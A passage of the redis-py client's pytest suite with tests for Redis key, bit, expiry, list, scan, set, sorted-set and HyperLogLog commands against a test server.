r.get('foo') assert isinstance(r.slowlog_len(), int) @skip_if_server_version_lt('2.6.0') def test_time(self, r): t = r.time() assert len(t) == 2 assert isinstance(t[0], int) assert isinstance(t[1], int) # BASIC KEY COMMANDS def test_append(self, r): assert r.append('a', 'a1') == 2 assert r['a'] == b('a1') assert r.append('a', 'a2') == 4 assert r['a'] == b('a1a2') @skip_if_server_version_lt('2.6.0') def test_bitcount(self, r): r.setbit('a', 5, True) assert r.bitcount('a') == 1 r.setbit('a', 6, True) assert r.bitcount('a') == 2 r.setbit('a', 5, False) assert r.bitcount('a') == 1 r.setbit('a', 9, True) r.setbit('a', 17, True) r.setbit('a', 25, True) r.setbit('a', 33, True) assert r.bitcount('a') == 5 assert r.bitcount('a', 0, -1) == 5 assert r.bitcount('a', 2, 3) == 2 assert r.bitcount('a', 2, -1) == 3 assert r.bitcount('a', -2, -1) == 2 assert r.bitcount('a', 1, 1) == 1 @skip_if_server_version_lt('2.6.0') def test_bitop_not_empty_string(self, r): r['a'] = '' r.bitop('not', 'r', 'a') assert r.get('r') is None @skip_if_server_version_lt('2.6.0') def test_bitop_not(self, r): test_str = b('\xAA\x00\xFF\x55') correct = ~0xAA00FF55 & 0xFFFFFFFF r['a'] = test_str r.bitop('not', 'r', 'a') assert int(binascii.hexlify(r['r']), 16) == correct @skip_if_server_version_lt('2.6.0') def test_bitop_not_in_place(self, r): test_str = b('\xAA\x00\xFF\x55') correct = ~0xAA00FF55 & 0xFFFFFFFF r['a'] = test_str r.bitop('not', 'a', 'a') assert int(binascii.hexlify(r['a']), 16) == correct @skip_if_server_version_lt('2.6.0') def test_bitop_single_string(self, r): test_str = b('\x01\x02\xFF') r['a'] = test_str r.bitop('and', 'res1', 'a') r.bitop('or', 'res2', 'a') r.bitop('xor', 'res3', 'a') assert r['res1'] == test_str assert r['res2'] == test_str assert r['res3'] == test_str @skip_if_server_version_lt('2.6.0') def test_bitop_string_operands(self, r): r['a'] = b('\x01\x02\xFF\xFF') r['b'] = b('\x01\x02\xFF') r.bitop('and', 'res1', 'a', 'b') r.bitop('or', 'res2', 'a', 'b') r.bitop('xor', 'res3', 'a', 'b') assert int(binascii.hexlify(r['res1']), 16) == 0x0102FF00 assert int(binascii.hexlify(r['res2']), 16) == 0x0102FFFF assert int(binascii.hexlify(r['res3']), 16) == 0x000000FF @skip_if_server_version_lt('2.8.7') def test_bitpos(self, r): key = 'key:bitpos' r.set(key, b('\xff\xf0\x00')) assert r.bitpos(key, 0) == 12 assert r.bitpos(key, 0, 2, -1) == 16 assert r.bitpos(key, 0, -2, -1) == 12 r.set(key, b('\x00\xff\xf0')) assert r.bitpos(key, 1, 0) == 8 assert r.bitpos(key, 1, 1) == 8 r.set(key, b('\x00\x00\x00')) assert r.bitpos(key, 1) == -1 @skip_if_server_version_lt('2.8.7') def test_bitpos_wrong_arguments(self, r): key = 'key:bitpos:wrong:args' r.set(key, b('\xff\xf0\x00')) with pytest.raises(exceptions.RedisError): r.bitpos(key, 0, end=1) == 12 with pytest.raises(exceptions.RedisError): r.bitpos(key, 7) == 12 def test_decr(self, r): assert r.decr('a') == -1 assert r['a'] == b('-1') assert r.decr('a') == -2 assert r['a'] == b('-2') assert r.decr('a', amount=5) == -7 assert r['a'] == b('-7') def test_delete(self, r): assert r.delete('a') == 0 r['a'] = 'foo' assert r.delete('a') == 1 def test_delete_with_multiple_keys(self, r): r['a'] = 'foo' r['b'] = 'bar' assert r.delete('a', 'b') == 2 assert r.get('a') is None assert r.get('b') is None def test_delitem(self, r): r['a'] = 'foo' del r['a'] assert r.get('a') is None @skip_if_server_version_lt('2.6.0') def test_dump_and_restore(self, r): r['a'] = 'foo' dumped = r.dump('a') del r['a'] r.restore('a', 0, dumped) assert r['a'] == b('foo') def test_exists(self, r): assert not r.exists('a') r['a'] = 'foo' assert r.exists('a') def test_exists_contains(self, r): assert 'a' not in r r['a'] = 'foo' assert 'a' in r def test_expire(self, r): assert not r.expire('a', 10) r['a'] = 'foo' assert r.expire('a', 10) assert 0 < r.ttl('a') <= 10 assert r.persist('a') assert not r.ttl('a') def test_expireat_datetime(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) r['a'] = 'foo' assert r.expireat('a', expire_at) assert 0 < r.ttl('a') <= 61 def test_expireat_no_key(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) assert not r.expireat('a', expire_at) def test_expireat_unixtime(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) r['a'] = 'foo' expire_at_seconds = int(time.mktime(expire_at.timetuple())) assert r.expireat('a', expire_at_seconds) assert 0 < r.ttl('a') <= 61 def test_get_and_set(self, r): # get and set can't be tested independently of each other assert r.get('a') is None byte_string = b('value') integer = 5 unicode_string = unichr(3456) + u('abcd') + unichr(3421) assert r.set('byte_string', byte_string) assert r.set('integer', 5) assert r.set('unicode_string', unicode_string) assert r.get('byte_string') == byte_string assert r.get('integer') == b(str(integer)) assert r.get('unicode_string').decode('utf-8') == unicode_string def test_getitem_and_setitem(self, r): r['a'] = 'bar' assert r['a'] == b('bar') def test_getitem_raises_keyerror_for_missing_key(self, r): with pytest.raises(KeyError): r['a'] def test_get_set_bit(self, r): # no value assert not r.getbit('a', 5) # set bit 5 assert not r.setbit('a', 5, True) assert r.getbit('a', 5) # unset bit 4 assert not r.setbit('a', 4, False) assert not r.getbit('a', 4) # set bit 4 assert not r.setbit('a', 4, True) assert r.getbit('a', 4) # set bit 5 again assert r.setbit('a', 5, True) assert r.getbit('a', 5) def test_getrange(self, r): r['a'] = 'foo' assert r.getrange('a', 0, 0) == b('f') assert r.getrange('a', 0, 2) == b('foo') assert r.getrange('a', 3, 4) == b('') def test_getset(self, r): assert r.getset('a', 'foo') is None assert r.getset('a', 'bar') == b('foo') assert r.get('a') == b('bar') def test_incr(self, r): assert r.incr('a') == 1 assert r['a'] == b('1') assert r.incr('a') == 2 assert r['a'] == b('2') assert r.incr('a', amount=5) == 7 assert r['a'] == b('7') def test_incrby(self, r): assert r.incrby('a') == 1 assert r.incrby('a', 4) == 5 assert r['a'] == b('5') @skip_if_server_version_lt('2.6.0') def test_incrbyfloat(self, r): assert r.incrbyfloat('a') == 1.0 assert r['a'] == b('1') assert r.incrbyfloat('a', 1.1) == 2.1 assert float(r['a']) == float(2.1) def test_keys(self, r): assert r.keys() == [] keys_with_underscores = set([b('test_a'), b('test_b')]) keys = keys_with_underscores.union(set([b('testc')])) for key in keys: r[key] = 1 assert set(r.keys(pattern='test_*')) == keys_with_underscores assert set(r.keys(pattern='test*')) == keys def test_mget(self, r): assert r.mget(['a', 'b']) == [None, None] r['a'] = '1' r['b'] = '2' r['c'] = '3' assert r.mget('a', 'other', 'b', 'c') == [b('1'), None, b('2'), b('3')] def test_mset(self, r): d = {'a': b('1'), 'b': b('2'), 'c': b('3')} assert r.mset(d) for k, v in iteritems(d): assert r[k] == v def test_mset_kwargs(self, r): d = {'a': b('1'), 'b': b('2'), 'c': b('3')} assert r.mset(**d) for k, v in iteritems(d): assert r[k] == v def test_msetnx(self, r): d = {'a': b('1'), 'b': b('2'), 'c': b('3')} assert r.msetnx(d) d2 = {'a': b('x'), 'd': b('4')} assert not r.msetnx(d2) for k, v in iteritems(d): assert r[k] == v assert r.get('d') is None def test_msetnx_kwargs(self, r): d = {'a': b('1'), 'b': b('2'), 'c': b('3')} assert r.msetnx(**d) d2 = {'a': b('x'), 'd': b('4')} assert not r.msetnx(**d2) for k, v in iteritems(d): assert r[k] == v assert r.get('d') is None @skip_if_server_version_lt('2.6.0') def test_pexpire(self, r): assert not r.pexpire('a', 60000) r['a'] = 'foo' assert r.pexpire('a', 60000) assert 0 < r.pttl('a') <= 60000 assert r.persist('a') assert r.pttl('a') is None @skip_if_server_version_lt('2.6.0') def test_pexpireat_datetime(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) r['a'] = 'foo' assert r.pexpireat('a', expire_at) assert 0 < r.pttl('a') <= 61000 @skip_if_server_version_lt('2.6.0') def test_pexpireat_no_key(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) assert not r.pexpireat('a', expire_at) @skip_if_server_version_lt('2.6.0') def test_pexpireat_unixtime(self, r): expire_at = redis_server_time(r) + datetime.timedelta(minutes=1) r['a'] = 'foo' expire_at_seconds = int(time.mktime(expire_at.timetuple())) * 1000 assert r.pexpireat('a', expire_at_seconds) assert 0 < r.pttl('a') <= 61000 @skip_if_server_version_lt('2.6.0') def test_psetex(self, r): assert r.psetex('a', 1000, 'value') assert r['a'] == b('value') assert 0 < r.pttl('a') <= 1000 @skip_if_server_version_lt('2.6.0') def test_psetex_timedelta(self, r): expire_at = datetime.timedelta(milliseconds=1000) assert r.psetex('a', expire_at, 'value') assert r['a'] == b('value') assert 0 < r.pttl('a') <= 1000 def test_randomkey(self, r): assert r.randomkey() is None for key in ('a', 'b', 'c'): r[key] = 1 assert r.randomkey() in (b('a'), b('b'), b('c')) def test_rename(self, r): r['a'] = '1' assert r.rename('a', 'b') assert r.get('a') is None assert r['b'] == b('1') def test_renamenx(self, r): r['a'] = '1' r['b'] = '2' assert not r.renamenx('a', 'b') assert r['a'] == b('1') assert r['b'] == b('2') @skip_if_server_version_lt('2.6.0') def test_set_nx(self, r): assert r.set('a', '1', nx=True) assert not r.set('a', '2', nx=True) assert r['a'] == b('1') @skip_if_server_version_lt('2.6.0') def test_set_xx(self, r): assert not r.set('a', '1', xx=True) assert r.get('a') is None r['a'] = 'bar' assert r.set('a', '2', xx=True) assert r.get('a') == b('2') @skip_if_server_version_lt('2.6.0') def test_set_px(self, r): assert r.set('a', '1', px=10000) assert r['a'] == b('1') assert 0 < r.pttl('a') <= 10000 assert 0 < r.ttl('a') <= 10 @skip_if_server_version_lt('2.6.0') def test_set_px_timedelta(self, r): expire_at = datetime.timedelta(milliseconds=1000) assert r.set('a', '1', px=expire_at) assert 0 < r.pttl('a') <= 1000 assert 0 < r.ttl('a') <= 1 @skip_if_server_version_lt('2.6.0') def test_set_ex(self, r): assert r.set('a', '1', ex=10) assert 0 < r.ttl('a') <= 10 @skip_if_server_version_lt('2.6.0') def test_set_ex_timedelta(self, r): expire_at = datetime.timedelta(seconds=60) assert r.set('a', '1', ex=expire_at) assert 0 < r.ttl('a') <= 60 @skip_if_server_version_lt('2.6.0') def test_set_multipleoptions(self, r): r['a'] = 'val' assert r.set('a', '1', xx=True, px=10000) assert 0 < r.ttl('a') <= 10 def test_setex(self, r): assert r.setex('a', '1', 60) assert r['a'] == b('1') assert 0 < r.ttl('a') <= 60 def test_setnx(self, r): assert r.setnx('a', '1') assert r['a'] == b('1') assert not r.setnx('a', '2') assert r['a'] == b('1') def test_setrange(self, r): assert r.setrange('a', 5, 'foo') == 8 assert r['a'] == b('\0\0\0\0\0foo') r['a'] = 'abcdefghijh' assert r.setrange('a', 6, '12345') == 11 assert r['a'] == b('abcdef12345') def test_strlen(self, r): r['a'] = 'foo' assert r.strlen('a') == 3 def test_substr(self, r): r['a'] = '0123456789' assert r.substr('a', 0) == b('0123456789') assert r.substr('a', 2) == b('23456789') assert r.substr('a', 3, 5) == b('345') assert r.substr('a', 3, -2) == b('345678') def test_type(self, r): assert r.type('a') == b('none') r['a'] = '1' assert r.type('a') == b('string') del r['a'] r.lpush('a', '1') assert r.type('a') == b('list') del r['a'] r.sadd('a', '1') assert r.type('a') == b('set') del r['a'] r.zadd('a', **{'1': 1}) assert r.type('a') == b('zset') # LIST COMMANDS def test_blpop(self, r): r.rpush('a', '1', '2') r.rpush('b', '3', '4') assert r.blpop(['b', 'a'], timeout=1) == (b('b'), b('3')) assert r.blpop(['b', 'a'], timeout=1) == (b('b'), b('4')) assert r.blpop(['b', 'a'], timeout=1) == (b('a'), b('1')) assert r.blpop(['b', 'a'], timeout=1) == (b('a'), b('2')) assert r.blpop(['b', 'a'], timeout=1) is None r.rpush('c', '1') assert r.blpop('c', timeout=1) == (b('c'), b('1')) def test_brpop(self, r): r.rpush('a', '1', '2') r.rpush('b', '3', '4') assert r.brpop(['b', 'a'], timeout=1) == (b('b'), b('4')) assert r.brpop(['b', 'a'], timeout=1) == (b('b'), b('3')) assert r.brpop(['b', 'a'], timeout=1) == (b('a'), b('2')) assert r.brpop(['b', 'a'], timeout=1) == (b('a'), b('1')) assert r.brpop(['b', 'a'], timeout=1) is None r.rpush('c', '1') assert r.brpop('c', timeout=1) == (b('c'), b('1')) def test_brpoplpush(self, r): r.rpush('a', '1', '2') r.rpush('b', '3', '4') assert r.brpoplpush('a', 'b') == b('2') assert r.brpoplpush('a', 'b') == b('1') assert r.brpoplpush('a', 'b', timeout=1) is None assert r.lrange('a', 0, -1) == [] assert r.lrange('b', 0, -1) == [b('1'), b('2'), b('3'), b('4')] def test_brpoplpush_empty_string(self, r): r.rpush('a', '') assert r.brpoplpush('a', 'b') == b('') def test_lindex(self, r): r.rpush('a', '1', '2', '3') assert r.lindex('a', '0') == b('1') assert r.lindex('a', '1') == b('2') assert r.lindex('a', '2') == b('3') def test_linsert(self, r): r.rpush('a', '1', '2', '3') assert r.linsert('a', 'after', '2', '2.5') == 4 assert r.lrange('a', 0, -1) == [b('1'), b('2'), b('2.5'), b('3')] assert r.linsert('a', 'before', '2', '1.5') == 5 assert r.lrange('a', 0, -1) == \ [b('1'), b('1.5'), b('2'), b('2.5'), b('3')] def test_llen(self, r): r.rpush('a', '1', '2', '3') assert r.llen('a') == 3 def test_lpop(self, r): r.rpush('a', '1', '2', '3') assert r.lpop('a') == b('1') assert r.lpop('a') == b('2') assert r.lpop('a') == b('3') assert r.lpop('a') is None def test_lpush(self, r): assert r.lpush('a', '1') == 1 assert r.lpush('a', '2') == 2 assert r.lpush('a', '3', '4') == 4 assert r.lrange('a', 0, -1) == [b('4'), b('3'), b('2'), b('1')] def test_lpushx(self, r): assert r.lpushx('a', '1') == 0 assert r.lrange('a', 0, -1) == [] r.rpush('a', '1', '2', '3') assert r.lpushx('a', '4') == 4 assert r.lrange('a', 0, -1) == [b('4'), b('1'), b('2'), b('3')] def test_lrange(self, r): r.rpush('a', '1', '2', '3', '4', '5') assert r.lrange('a', 0, 2) == [b('1'), b('2'), b('3')] assert r.lrange('a', 2, 10) == [b('3'), b('4'), b('5')] assert r.lrange('a', 0, -1) == [b('1'), b('2'), b('3'), b('4'), b('5')] def test_lrem(self, r): r.rpush('a', '1', '1', '1', '1') assert r.lrem('a', '1', 1) == 1 assert r.lrange('a', 0, -1) == [b('1'), b('1'), b('1')] assert r.lrem('a', '1') == 3 assert r.lrange('a', 0, -1) == [] def test_lset(self, r): r.rpush('a', '1', '2', '3') assert r.lrange('a', 0, -1) == [b('1'), b('2'), b('3')] assert r.lset('a', 1, '4') assert r.lrange('a', 0, 2) == [b('1'), b('4'), b('3')] def test_ltrim(self, r): r.rpush('a', '1', '2', '3') assert r.ltrim('a', 0, 1) assert r.lrange('a', 0, -1) == [b('1'), b('2')] def test_rpop(self, r): r.rpush('a', '1', '2', '3') assert r.rpop('a') == b('3') assert r.rpop('a') == b('2') assert r.rpop('a') == b('1') assert r.rpop('a') is None def test_rpoplpush(self, r): r.rpush('a', 'a1', 'a2', 'a3') r.rpush('b', 'b1', 'b2', 'b3') assert r.rpoplpush('a', 'b') == b('a3') assert r.lrange('a', 0, -1) == [b('a1'), b('a2')] assert r.lrange('b', 0, -1) == [b('a3'), b('b1'), b('b2'), b('b3')] def test_rpush(self, r): assert r.rpush('a', '1') == 1 assert r.rpush('a', '2') == 2 assert r.rpush('a', '3', '4') == 4 assert r.lrange('a', 0, -1) == [b('1'), b('2'), b('3'), b('4')] def test_rpushx(self, r): assert r.rpushx('a', 'b') == 0 assert r.lrange('a', 0, -1) == [] r.rpush('a', '1', '2', '3') assert r.rpushx('a', '4') == 4 assert r.lrange('a', 0, -1) == [b('1'), b('2'), b('3'), b('4')] # SCAN COMMANDS @skip_if_server_version_lt('2.8.0') def test_scan(self, r): r.set('a', 1) r.set('b', 2) r.set('c', 3) cursor, keys = r.scan() assert cursor == 0 assert set(keys) == set([b('a'), b('b'), b('c')]) _, keys = r.scan(match='a') assert set(keys) == set([b('a')]) @skip_if_server_version_lt('2.8.0') def test_scan_iter(self, r): r.set('a', 1) r.set('b', 2) r.set('c', 3) keys = list(r.scan_iter()) assert set(keys) == set([b('a'), b('b'), b('c')]) keys = list(r.scan_iter(match='a')) assert set(keys) == set([b('a')]) @skip_if_server_version_lt('2.8.0') def test_sscan(self, r): r.sadd('a', 1, 2, 3) cursor, members = r.sscan('a') assert cursor == 0 assert set(members) == set([b('1'), b('2'), b('3')]) _, members = r.sscan('a', match=b('1')) assert set(members) == set([b('1')]) @skip_if_server_version_lt('2.8.0') def test_sscan_iter(self, r): r.sadd('a', 1, 2, 3) members = list(r.sscan_iter('a')) assert set(members) == set([b('1'), b('2'), b('3')]) members = list(r.sscan_iter('a', match=b('1'))) assert set(members) == set([b('1')]) @skip_if_server_version_lt('2.8.0') def test_hscan(self, r): r.hmset('a', {'a': 1, 'b': 2, 'c': 3}) cursor, dic = r.hscan('a') assert cursor == 0 assert dic == {b('a'): b('1'), b('b'): b('2'), b('c'): b('3')} _, dic = r.hscan('a', match='a') assert dic == {b('a'): b('1')} @skip_if_server_version_lt('2.8.0') def test_hscan_iter(self, r): r.hmset('a', {'a': 1, 'b': 2, 'c': 3}) dic = dict(r.hscan_iter('a')) assert dic == {b('a'): b('1'), b('b'): b('2'), b('c'): b('3')} dic = dict(r.hscan_iter('a', match='a')) assert dic == {b('a'): b('1')} @skip_if_server_version_lt('2.8.0') def test_zscan(self, r): r.zadd('a', 'a', 1, 'b', 2, 'c', 3) cursor, pairs = r.zscan('a') assert cursor == 0 assert set(pairs) == set([(b('a'), 1), (b('b'), 2), (b('c'), 3)]) _, pairs = r.zscan('a', match='a') assert set(pairs) == set([(b('a'), 1)]) @skip_if_server_version_lt('2.8.0') def test_zscan_iter(self, r): r.zadd('a', 'a', 1, 'b', 2, 'c', 3) pairs = list(r.zscan_iter('a')) assert set(pairs) == set([(b('a'), 1), (b('b'), 2), (b('c'), 3)]) pairs = list(r.zscan_iter('a', match='a')) assert set(pairs) == set([(b('a'), 1)]) # SET COMMANDS def test_sadd(self, r): members = set([b('1'), b('2'), b('3')]) r.sadd('a', *members) assert r.smembers('a') == members def test_scard(self, r): r.sadd('a', '1', '2', '3') assert r.scard('a') == 3 def test_sdiff(self, r): r.sadd('a', '1', '2', '3') assert r.sdiff('a', 'b') == set([b('1'), b('2'), b('3')]) r.sadd('b', '2', '3') assert r.sdiff('a', 'b') == set([b('1')]) def test_sdiffstore(self, r): r.sadd('a', '1', '2', '3') assert r.sdiffstore('c', 'a', 'b') == 3 assert r.smembers('c') == set([b('1'), b('2'), b('3')]) r.sadd('b', '2', '3') assert r.sdiffstore('c', 'a', 'b') == 1 assert r.smembers('c') == set([b('1')]) def test_sinter(self, r): r.sadd('a', '1', '2', '3') assert r.sinter('a', 'b') == set() r.sadd('b', '2', '3') assert r.sinter('a', 'b') == set([b('2'), b('3')]) def test_sinterstore(self, r): r.sadd('a', '1', '2', '3') assert r.sinterstore('c', 'a', 'b') == 0 assert r.smembers('c') == set() r.sadd('b', '2', '3') assert r.sinterstore('c', 'a', 'b') == 2 assert r.smembers('c') == set([b('2'), b('3')]) def test_sismember(self, r): r.sadd('a', '1', '2', '3') assert r.sismember('a', '1') assert r.sismember('a', '2') assert r.sismember('a', '3') assert not r.sismember('a', '4') def test_smembers(self, r): r.sadd('a', '1', '2', '3') assert r.smembers('a') == set([b('1'), b('2'), b('3')]) def test_smove(self, r): r.sadd('a', 'a1', 'a2') r.sadd('b', 'b1', 'b2') assert r.smove('a', 'b', 'a1') assert r.smembers('a') == set([b('a2')]) assert r.smembers('b') == set([b('b1'), b('b2'), b('a1')]) def test_spop(self, r): s = [b('1'), b('2'), b('3')] r.sadd('a', *s) value = r.spop('a') assert value in s assert r.smembers('a') == set(s) - set([value]) def test_srandmember(self, r): s = [b('1'), b('2'), b('3')] r.sadd('a', *s) assert r.srandmember('a') in s @skip_if_server_version_lt('2.6.0') def test_srandmember_multi_value(self, r): s = [b('1'), b('2'), b('3')] r.sadd('a', *s) randoms = r.srandmember('a', number=2) assert len(randoms) == 2 assert set(randoms).intersection(s) == set(randoms) def test_srem(self, r): r.sadd('a', '1', '2', '3', '4') assert r.srem('a', '5') == 0 assert r.srem('a', '2', '4') == 2 assert r.smembers('a') == set([b('1'), b('3')]) def test_sunion(self, r): r.sadd('a', '1', '2') r.sadd('b', '2', '3') assert r.sunion('a', 'b') == set([b('1'), b('2'), b('3')]) def test_sunionstore(self, r): r.sadd('a', '1', '2') r.sadd('b', '2', '3') assert r.sunionstore('c', 'a', 'b') == 3 assert r.smembers('c') == set([b('1'), b('2'), b('3')]) # SORTED SET COMMANDS def test_zadd(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zrange('a', 0, -1) == [b('a1'), b('a2'), b('a3')] def test_zcard(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zcard('a') == 3 def test_zcount(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zcount('a', '-inf', '+inf') == 3 assert r.zcount('a', 1, 2) == 2 assert r.zcount('a', 10, 20) == 0 def test_zincrby(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zincrby('a', 'a2') == 3.0 assert r.zincrby('a', 'a3', amount=5) == 8.0 assert r.zscore('a', 'a2') == 3.0 assert r.zscore('a', 'a3') == 8.0 @skip_if_server_version_lt('2.8.9') def test_zlexcount(self, r): r.zadd('a', a=0, b=0, c=0, d=0, e=0, f=0, g=0) assert r.zlexcount('a', '-', '+') == 7 assert r.zlexcount('a', '[b', '[f') == 5 def test_zinterstore_sum(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zinterstore('d', ['a', 'b', 'c']) == 2 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a3'), 8), (b('a1'), 9)] def test_zinterstore_max(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zinterstore('d', ['a', 'b', 'c'], aggregate='MAX') == 2 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a3'), 5), (b('a1'), 6)] def test_zinterstore_min(self, r): r.zadd('a', a1=1, a2=2, a3=3) r.zadd('b', a1=2, a2=3, a3=5) r.zadd('c', a1=6, a3=5, a4=4) assert r.zinterstore('d', ['a', 'b', 'c'], aggregate='MIN') == 2 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a1'), 1), (b('a3'), 3)] def test_zinterstore_with_weight(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zinterstore('d', {'a': 1, 'b': 2, 'c': 3}) == 2 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a3'), 20), (b('a1'), 23)] def test_zrange(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zrange('a', 0, 1) == [b('a1'), b('a2')] assert r.zrange('a', 1, 2) == [b('a2'), b('a3')] # withscores assert r.zrange('a', 0, 1, withscores=True) == \ [(b('a1'), 1.0), (b('a2'), 2.0)] assert r.zrange('a', 1, 2, withscores=True) == \ [(b('a2'), 2.0), (b('a3'), 3.0)] # custom score function assert r.zrange('a', 0, 1, withscores=True, score_cast_func=int) == \ [(b('a1'), 1), (b('a2'), 2)] @skip_if_server_version_lt('2.8.9') def test_zrangebylex(self, r): r.zadd('a', a=0, b=0, c=0, d=0, e=0, f=0, g=0) assert r.zrangebylex('a', '-', '[c') == [b('a'), b('b'), b('c')] assert r.zrangebylex('a', '-', '(c') == [b('a'), b('b')] assert r.zrangebylex('a', '[aaa', '(g') == \ [b('b'), b('c'), b('d'), b('e'), b('f')] assert r.zrangebylex('a', '[f', '+') == [b('f'), b('g')] assert r.zrangebylex('a', '-', '+', start=3, num=2) == [b('d'), b('e')] def test_zrangebyscore(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zrangebyscore('a', 2, 4) == [b('a2'), b('a3'), b('a4')] # slicing with start/num assert r.zrangebyscore('a', 2, 4, start=1, num=2) == \ [b('a3'), b('a4')] # withscores assert r.zrangebyscore('a', 2, 4, withscores=True) == \ [(b('a2'), 2.0), (b('a3'), 3.0), (b('a4'), 4.0)] # custom score function assert r.zrangebyscore('a', 2, 4, withscores=True, score_cast_func=int) == \ [(b('a2'), 2), (b('a3'), 3), (b('a4'), 4)] def test_zrank(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zrank('a', 'a1') == 0 assert r.zrank('a', 'a2') == 1 assert r.zrank('a', 'a6') is None def test_zrem(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zrem('a', 'a2') == 1 assert r.zrange('a', 0, -1) == [b('a1'), b('a3')] assert r.zrem('a', 'b') == 0 assert r.zrange('a', 0, -1) == [b('a1'), b('a3')] def test_zrem_multiple_keys(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zrem('a', 'a1', 'a2') == 2 assert r.zrange('a', 0, 5) == [b('a3')] @skip_if_server_version_lt('2.8.9') def test_zremrangebylex(self, r): r.zadd('a', a=0, b=0, c=0, d=0, e=0, f=0, g=0) assert r.zremrangebylex('a', '-', '[c') == 3 assert r.zrange('a', 0, -1) == [b('d'), b('e'), b('f'), b('g')] assert r.zremrangebylex('a', '[f', '+') == 2 assert r.zrange('a', 0, -1) == [b('d'), b('e')] assert r.zremrangebylex('a', '[h', '+') == 0 assert r.zrange('a', 0, -1) == [b('d'), b('e')] def test_zremrangebyrank(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zremrangebyrank('a', 1, 3) == 3 assert r.zrange('a', 0, 5) == [b('a1'), b('a5')] def test_zremrangebyscore(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zremrangebyscore('a', 2, 4) == 3 assert r.zrange('a', 0, -1) == [b('a1'), b('a5')] assert r.zremrangebyscore('a', 2, 4) == 0 assert r.zrange('a', 0, -1) == [b('a1'), b('a5')] def test_zrevrange(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zrevrange('a', 0, 1) == [b('a3'), b('a2')] assert r.zrevrange('a', 1, 2) == [b('a2'), b('a1')] # withscores assert r.zrevrange('a', 0, 1, withscores=True) == \ [(b('a3'), 3.0), (b('a2'), 2.0)] assert r.zrevrange('a', 1, 2, withscores=True) == \ [(b('a2'), 2.0), (b('a1'), 1.0)] # custom score function assert r.zrevrange('a', 0, 1, withscores=True, score_cast_func=int) == \ [(b('a3'), 3.0), (b('a2'), 2.0)] def test_zrevrangebyscore(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zrevrangebyscore('a', 4, 2) == [b('a4'), b('a3'), b('a2')] # slicing with start/num assert r.zrevrangebyscore('a', 4, 2, start=1, num=2) == \ [b('a3'), b('a2')] # withscores assert r.zrevrangebyscore('a', 4, 2, withscores=True) == \ [(b('a4'), 4.0), (b('a3'), 3.0), (b('a2'), 2.0)] # custom score function assert r.zrevrangebyscore('a', 4, 2, withscores=True, score_cast_func=int) == \ [(b('a4'), 4), (b('a3'), 3), (b('a2'), 2)] def test_zrevrank(self, r): r.zadd('a', a1=1, a2=2, a3=3, a4=4, a5=5) assert r.zrevrank('a', 'a1') == 4 assert r.zrevrank('a', 'a2') == 3 assert r.zrevrank('a', 'a6') is None def test_zscore(self, r): r.zadd('a', a1=1, a2=2, a3=3) assert r.zscore('a', 'a1') == 1.0 assert r.zscore('a', 'a2') == 2.0 assert r.zscore('a', 'a4') is None def test_zunionstore_sum(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zunionstore('d', ['a', 'b', 'c']) == 4 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a2'), 3), (b('a4'), 4), (b('a3'), 8), (b('a1'), 9)] def test_zunionstore_max(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zunionstore('d', ['a', 'b', 'c'], aggregate='MAX') == 4 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a2'), 2), (b('a4'), 4), (b('a3'), 5), (b('a1'), 6)] def test_zunionstore_min(self, r): r.zadd('a', a1=1, a2=2, a3=3) r.zadd('b', a1=2, a2=2, a3=4) r.zadd('c', a1=6, a3=5, a4=4) assert r.zunionstore('d', ['a', 'b', 'c'], aggregate='MIN') == 4 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a1'), 1), (b('a2'), 2), (b('a3'), 3), (b('a4'), 4)] def test_zunionstore_with_weight(self, r): r.zadd('a', a1=1, a2=1, a3=1) r.zadd('b', a1=2, a2=2, a3=2) r.zadd('c', a1=6, a3=5, a4=4) assert r.zunionstore('d', {'a': 1, 'b': 2, 'c': 3}) == 4 assert r.zrange('d', 0, -1, withscores=True) == \ [(b('a2'), 5), (b('a4'), 12), (b('a3'), 20), (b('a1'), 23)] # HYPERLOGLOG TESTS @skip_if_server_version_lt('2.8.9') def test_pfadd(self, r): members = set([b('1'), b('2'), b('3')]) assert r.pfadd('a', *members) == 1 assert r.pfadd('a', *members) == 0 assert r.pfcount('a') == len(members) @skip_if_server_version_lt('2.8.9') def test_pfcount(self, r): members = set([b('1'), b('2'), b('3')]) r.pfadd('a', *members) assert r.pfcount('a') == len(members) @skip_if_server_version_lt('2.8.9') def 